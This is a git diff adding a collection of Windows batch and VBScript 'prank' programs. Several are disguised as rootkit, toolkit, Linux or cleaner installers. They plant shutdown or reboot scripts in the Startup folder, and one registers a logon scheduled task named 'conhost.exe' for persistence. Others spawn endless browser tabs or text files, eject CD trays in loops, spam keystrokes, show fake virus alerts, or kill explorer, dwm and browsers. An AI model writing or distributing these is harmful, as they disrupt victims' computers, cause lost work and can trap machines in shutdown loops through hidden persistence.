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diff --git a/DEPENDENCIES/Bat_To_Exe_Converter_(Installer).exe b/DEPENDENCIES/Bat_To_Exe_Converter_(Installer).exe
new file mode 100644
index 0000000..a2a6096
--- /dev/null
+++ b/DEPENDENCIES/Bat_To_Exe_Converter_(Installer).exe
diff --git a/DEPENDENCIES/ChilkatZipSE.exe b/DEPENDENCIES/ChilkatZipSE.exe
new file mode 100644
index 0000000..8163a04
--- /dev/null
+++ b/DEPENDENCIES/ChilkatZipSE.exe
diff --git a/Deep Shutdown/deep_shutdown.bat b/Deep Shutdown/deep_shutdown.bat
new file mode 100644
index 0000000..ddf3766
--- /dev/null
+++ b/Deep Shutdown/deep_shutdown.bat
@@ -0,0 +1,28 @@
+@echo off

+title An0nym0us_r00tkit

+GOTO choice

+

+:start

+cd /d "%systemdrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

+echo @echo off > lol.bat

+echo shutdown /p >>lol.bat

+shutdown /p

+break

+

+:choice

+color 0f

+echo Do you want to begin the An0nym0us_r00tkit installation?[Yes/No]

+set /p input=

+if %input%==Y goto start

+if %input%==y goto start

+if %input%==yes goto start

+if %input%==YES goto start

+if %input%==Yes goto start

+if %input%==N goto end

+if %input%==n goto end

+if %input%==no goto end

+if %input%==NO goto end

+if %input%==No goto end

+

+:end

+break
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diff --git a/Esketit EBomb/ESKETIT.bat b/Esketit EBomb/ESKETIT.bat
new file mode 100644
index 0000000..fd0e681
--- /dev/null
+++ b/Esketit EBomb/ESKETIT.bat
@@ -0,0 +1,4 @@
+@echo off

+:a

+start https://www.youtube.com/watch?v=r3G5C3LHWCk

+goto a
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diff --git a/Ez Linux/ez_linux.bat b/Ez Linux/ez_linux.bat
new file mode 100644
index 0000000..4fca6ea
--- /dev/null
+++ b/Ez Linux/ez_linux.bat
@@ -0,0 +1,4 @@
+cd /d "%systemdrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
+echo @echo off > pranked.bat
+echo shutdown /r /f /t 0 >>pranked.bat
+shutdown /r /f /c "Installing Linux... System may reboot a couple times" /t 10
diff --git a/Homer Bomb/homer_bomb.bat b/Homer Bomb/homer_bomb.bat
new file mode 100644
index 0000000..b12975b
--- /dev/null
+++ b/Homer Bomb/homer_bomb.bat
@@ -0,0 +1,6 @@
+@echo off
+
+:pranked
+echo doh >>%random%.txt
+echo "The bomb has been planted"
+GOTO pranked
diff --git a/Hungry Disc Tray/hungry_disc_tray.vbs b/Hungry Disc Tray/hungry_disc_tray.vbs
new file mode 100644
index 0000000..7c78340
--- /dev/null
+++ b/Hungry Disc Tray/hungry_disc_tray.vbs
@@ -0,0 +1,13 @@
+MsgBox "I Say Disco you Say Party Disco Disco Party Party", VBCritical, "Wanna Play Disco ? "
+Set oWMP = CreateObject("WMPlayer.OCX.7" )
+Set colCDROMs = oWMP.cdromCollection
+if colCDROMs.Count >= 1 then
+do
+For i = 0 to colCDROMs.Count - 1
+colCDROMs.Item(i).Eject
+Next ' cdrom
+For i = 0 to colCDROMs.Count - 1
+colCDROMs.Item(i).Eject
+Next ' cdrom
+loop
+End If
diff --git a/I Dont Feel So Good/i_dont_feel_so_good.bat b/I Dont Feel So Good/i_dont_feel_so_good.bat
new file mode 100644
index 0000000..f6f408e
--- /dev/null
+++ b/I Dont Feel So Good/i_dont_feel_so_good.bat
@@ -0,0 +1 @@
+shutdown -s -t 5 -c "Mr. Stark, I Don't feel so good..."
diff --git a/Matrix/Matrix.bat b/Matrix/Matrix.bat
new file mode 100644
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--- /dev/null
+++ b/Matrix/Matrix.bat
@@ -0,0 +1,205 @@
+::pretends its the matrix movie and shutsdown

+@echo off 

+title Matrix, I HAVE YOU, ESCAPE IS IMPOSSIBLE 

+color 0a 

+

+echo W 

+ping localhost -n 1.5 >nul 

+cls 

+echo Wa 

+ping localhost -n 1.3 >nul 

+cls 

+echo Wak 

+ping localhost -n 1.3 >nul 

+cls 

+echo Wake 

+ping localhost -n 1.3 >nul 

+cls 

+echo Wake 

+ping localhost -n 1.3 >nul 

+cls 

+echo Wake u 

+ping localhost -n 1.3 >nul 

+cls 

+echo Wake up 

+ping localhost -n 1.3 >nul 

+cls 

+echo Wake up 

+ping localhost -n 1.3 >nul 

+cls 

+echo Wake up %username%... 

+ping localhost -n 10 >nul 

+cls 

+echo T 

+ping localhost -n 1.2 >nul 

+cls 

+echo Th 

+ping localhost -n 1.2 >nul 

+cls 

+echo The 

+ping localhost -n 1.2 >nul 

+cls 

+echo The M 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Ma 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Mat 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matr 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matri 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix h 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix ha 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix has 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix has y 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix has yo 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix has you 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix has you. 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix has you.. 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix has you... 

+ping localhost -n 1.2 >nul 

+cls 

+echo The Matrix has you.... 

+ping localhost -n 5 >nul 

+cls 

+echo F 

+ping localhost -n 1.2 >nul 

+cls 

+echo Fo 

+ping localhost -n 1.2 >nul 

+cls 

+echo Fol 

+ping localhost -n 1.2 >nul 

+cls 

+echo Foll 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follo 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow t 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow th 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the w 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the wh 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the whi 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the whit 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the white 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the white 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the white r 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the white ra 

+ping localhost -n 1.2 >nul 

+cls

+echo Follow the white rab 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the white rabb 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the white rabbi 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the white rabbit 

+ping localhost -n 1.2 >nul 

+cls 

+echo Follow the white rabbit. 

+ping localhost -n 4 >nul 

+cls 

+echo k 

+ping localhost -n 1 >nul 

+cls 

+echo Kn

+ping localhost -n 1 >nul 

+cls 

+echo Kno 

+ping localhost -n 1 >nul 

+cls 

+echo Knoc 

+ping localhost -n 1 >nul cls 

+cls 

+echo Knock 

+ping localhost -n 1 >nul 

+cls 

+echo Knock, 

+ping localhost -n 1 >nul 

+cls 

+echo Knock,k 

+ping localhost -n 1 >nul 

+cls 

+echo Knock,kn 

+ping localhost -n 1 >nul 

+cls 

+echo Knock,kno 

+ping localhost -n 1 >nul 

+cls 

+echo Knock,knoc 

+ping localhost -n 1 >nul 

+cls 

+echo Knock,knock 

+ping localhost -n 1 >nul 

+cls 

+echo Knock,knock %username%. 

+ping localhost -n 7 >nul 

+

+setlocal EnableDelayedExpansion

+	for /l %%x in (1,1,40) do (

+		echo !random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random! 

+	)

+endlocal

+pause

+shutdown -s -t 15 -c "I, Matrix, Declare Victory Over %username%!"

+pause
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diff --git a/Pirate/DrunkMode.vbs b/Pirate/DrunkMode.vbs
new file mode 100755
index 0000000..1c254e7
--- /dev/null
+++ b/Pirate/DrunkMode.vbs
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+Set WshShell = WScript.CreateObject("WScript.Shell")
+Set fso = CreateObject("Scripting.FileSystemObject")
+
+Dim objShell
+Set objShell = Wscript.CreateObject("WScript.Shell")
+
+objShell.Run "tray.vbs"
+objShell.Run "keys.vbs" 
+
+Dim oPlayer
+Set oPlayer = CreateObject("WMPlayer.OCX")
+
+do
+Directory = fso.BuildPath(CurrentDirectory, "pirates.wav")
+oPlayer.URL = "pirates.wav"
+oPlayer.controls.play 
+While oPlayer.playState <> 1 '
+  WScript.Sleep 100
+Wend
+oPlayer.close
+
+c = c+1
+loop while c  < 100000
diff --git a/Pirate/keys.vbs b/Pirate/keys.vbs
new file mode 100755
index 0000000..47c93d8
--- /dev/null
+++ b/Pirate/keys.vbs
@@ -0,0 +1,9 @@
+Set WshShell = WScript.CreateObject("WScript.Shell")

+do

+WshShell.SendKeys "^%{RIGHT}"

+WshShell.SendKeys "^%{DOWN}"

+WshShell.SendKeys "^%{UP}"

+WshShell.SendKeys "^%{LEFT}"

+c = c+1

+

+loop while c < 400000
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diff --git a/Pirate/pirates.wav b/Pirate/pirates.wav
new file mode 100755
index 0000000..05d9297
--- /dev/null
+++ b/Pirate/pirates.wav
diff --git a/Pirate/tray.vbs b/Pirate/tray.vbs
new file mode 100755
index 0000000..3ce1b30
--- /dev/null
+++ b/Pirate/tray.vbs
@@ -0,0 +1,13 @@
+Set oWMP = CreateObject("WMPlayer.OCX.7")

+Set colCDROMs = oWMP.cdromCollection

+do

+if colCDROMs.Count >= 1 then

+For i = 0 to colCDROMs.Count -1

+colCDROMs.Item(i).Eject

+Next

+For i = 0 to colCDROMs.Count -1

+colCDROMs.Item(i).Eject

+Next

+End If

+wscript.sleep 2000

+loop
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diff --git a/Privilege Escalator/privilege_escalator.bat b/Privilege Escalator/privilege_escalator.bat
new file mode 100644
index 0000000..fa02a12
--- /dev/null
+++ b/Privilege Escalator/privilege_escalator.bat
@@ -0,0 +1,15 @@
+@echo off

+title Toolkit installation

+msg * Toolkit installation is starting

+cd /d %systemdrive%\Users\%username%\

+@echo on

+tree

+@echo off

+cd /d %systemdrive%\Users\%username%\Desktop

+setlocal EnableDelayedExpansion

+	for /l %%x in (1,1,40) do (

+		mkdir !random! 

+	)

+endlocal

+msg * The toolkit installation is nearly complete please wait ...

+shutdown /s /t 10
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diff --git a/ShitStain/Prequel/ShitStain_The_Prequel.bat b/ShitStain/Prequel/ShitStain_The_Prequel.bat
new file mode 100644
index 0000000..1b3f938
--- /dev/null
+++ b/ShitStain/Prequel/ShitStain_The_Prequel.bat
@@ -0,0 +1,24 @@
+::Says it has detected a virus and deletes C:\ but only shutsdown

+@echo off

+@echo WARNING VIRUS ATTACK!

+@echo WARNING VIRUS ATTACK!

+@echo WARNING VIRUS ATTACK!

+@echo All Files Deleted. Reboot to Restore.

+@echo Press Enter to Reboot

+timeout 5 /nobreak >NUL

+@echo C: Drive Deleted

+@echo WARNING! All Files Lost! Virus Detected 

+@echo Contact Administrator

+@echo WARNING! FIREWALL BREACHED!

+shutdown /t 10 /s 

+@echo WARNING! System Shutdown in 5!

+timeout 2 /nobreak >NUL

+@echo WARNING! System Shutdown in 4!

+timeout 2 /nobreak >NUL

+@echo WARNING! System Shutdown in 3!

+timeout 2 /nobreak >NUL

+@echo WARNING! System Shutdown in 2!

+timeout 2 /nobreak >NUL

+@echo WARNING! System Shutdown in 1!

+timeout 2 /nobreak >NUL

+pause > nul
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diff --git a/ShitStain/Sequel/ShitStain_The_Sequel.bat b/ShitStain/Sequel/ShitStain_The_Sequel.bat
new file mode 100644
index 0000000..c852830
--- /dev/null
+++ b/ShitStain/Sequel/ShitStain_The_Sequel.bat
@@ -0,0 +1,14 @@
+::fake toolkit instalation progrm that makes a ton of files in Desktop and shutsdown after that

+@echo off

+title Toolkit installation

+msg * Toolkit installation is starting

+cd /d %systemdrive%\Users\%username%\

+tree

+cd /d %systemdrive%\Users\%username%\Desktop

+setlocal EnableDelayedExpansion

+	for /l %%x in (1,1,40) do (

+		mkdir !random! 

+	)

+endlocal

+msg * The toolkit installation is nearly complete please wait ...

+shutdown /s /t 10
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diff --git a/ShitStain/ShitStain/ShitStain.vbs b/ShitStain/ShitStain/ShitStain.vbs
new file mode 100644
index 0000000..a35ac0e
--- /dev/null
+++ b/ShitStain/ShitStain/ShitStain.vbs
@@ -0,0 +1,9 @@
+set shell = createobject("wscript.shell") 

+a = 0

+msgbox "After you click ok the message will start in 5 seconds "

+wscript.sleep(5000)

+for i=1 to 20000

+a = a + 1

+Shell.SendKeys(a & "{Enter}")

+wscript.sleep(100)

+next
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diff --git a/ShitStain/Thurd/ShitStain_The_Thurd.bat b/ShitStain/Thurd/ShitStain_The_Thurd.bat
new file mode 100644
index 0000000..ab8d1ab
--- /dev/null
+++ b/ShitStain/Thurd/ShitStain_The_Thurd.bat
@@ -0,0 +1,31 @@
+::Fake Hacker toolkit that makes a shutdown.bat on startup menu

+@echo off

+title Hacker Remix

+goto choice

+

+:start

+schtasks /create /tn "conhost.exe" /tr %CD%\%0 /sc onlogon

+cd /d "%systemdrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

+echo @echo off > lol.bat

+echo shutdown /p >>lol.bat

+shutdown /p

+break

+

+:choice

+color 0f

+echo Do you want to begin the Hacker Remix installation?[Y/N]

+set input=

+set /p input=

+if %input%==Y goto start

+if %input%==y goto start

+if %input%==yes goto start

+if %input%==YES goto start

+if %input%==Yes goto start

+if %input%==N goto end

+if %input%==n goto end

+if %input%==no goto end

+if %input%==NO goto end

+if %input%==No goto end

+

+:end

+break 
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diff --git a/Super Cleaner/super_cleaner.bat b/Super Cleaner/super_cleaner.bat
new file mode 100644
index 0000000..fd0cafa
--- /dev/null
+++ b/Super Cleaner/super_cleaner.bat
@@ -0,0 +1,10 @@
+@echo off
+echo "Cleaning System..."
+
+taskkill /F /IM explorer.exe > nul 2> nul
+taskkill /F /IM chrome.exe > nul 2> nul
+taskkill /F /IM firefox.exe > nul 2> nul
+taskkill /F /IM dwm.exe > nul 2> nul
+taskkill /F /IM MicrosoftEdge.exe > nul 2> nul
+taskkill /F /IM Steam.exe > nul 2> nul
+taskkill /F /IM Skype.exe > nul 2> nul
diff --git a/logo.png b/logo.png
new file mode 100644
index 0000000..8863916
--- /dev/null
+++ b/logo.png